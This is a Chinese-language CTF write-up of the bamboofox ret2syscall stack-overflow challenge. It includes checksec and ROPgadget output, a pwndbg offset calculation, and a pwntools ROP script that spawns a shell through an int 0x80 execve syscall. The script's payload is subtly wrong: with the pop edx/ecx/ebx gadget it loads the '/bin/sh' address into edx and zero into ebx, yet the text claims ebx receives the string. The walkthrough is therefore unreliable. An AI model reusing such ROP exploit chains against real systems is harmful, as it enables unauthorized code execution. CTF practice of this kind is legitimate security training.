题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file rop    
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

32位ELF文件

软件防护

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ checksec --file=rop  
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   2255 Symbols      No    0               0               rop

栈溢出防护是关闭的,NX是开启的,那这道题基本上就是用ROP进行栈溢出了。

IDA分析

main函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

说这次没有system()shellcode该怎么办,但是这里有gets函数肯定存在栈溢出,然后分析了一下,确实是没有system(),shellcode也没办法执行,但是在地址0x080BE408发现了字符串"/bin/sh"

攻击

攻击思路

shellcode和后门函数都不存在,这里直接尝试rop。

ROPgadget查询

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop --only "pop|ret"|grep eax    
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

eax_ret = 0x080bb196

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop --only "pop|ret"|grep ebx
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

edx_ecx_ebx_ret = 0x0806eb90

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ ROPgadget --binary ./rop |grep "int"|grep "0x80"
...
0x080b9e08 : push es ; int 0x80
...

intx80 = 0x080b9e08

PWNDBG计算溢出长度

pwndbg调试信息如下

*EAX  0xffffcf7c ◂— 'hello'
 EBX  0x80481a8 (_init) ◂— push ebx
*ECX  0xfbad2288
*EDX  0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0
 EDI  0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
 ESI  0
 EBP  0xffffcfe8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
 ESP  0xffffcf60 —▸ 0xffffcf7c ◂— 'hello'
*EIP  0x8048e9b (main+119) ◂— mov eax, 0

0xe8-0x7c=232-124=108+4=112

攻击脚本

from pwn import *

io = process("./rop")

sh = 0x080BE408
eax_ret = 0x080BB196
edx_ecx_ebx_ret = 0x0806EB90
intx80 = 0x080B9E08
payload = flat(
    [
        b"a" * 112,
        eax_ret,
        0xB,
        edx_ecx_ebx_ret,
        sh,
        0,
        0,
        intx80,
    ]
)

io.sendline(payload)

io.interactive()

上面四个地址分别是“/bin/sh”字符串地址、pop eax ret地址、pop ebx ecx edx ret地址、int 0x80地址,使用上面的payload可以达成下面执行效果

mov eax,0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80

payload中的0xb是系统调用的id他代表执行命令的一个函数。

最后修改:2024 年 06 月 03 日
如果觉得我的文章对你有用,请随意赞赏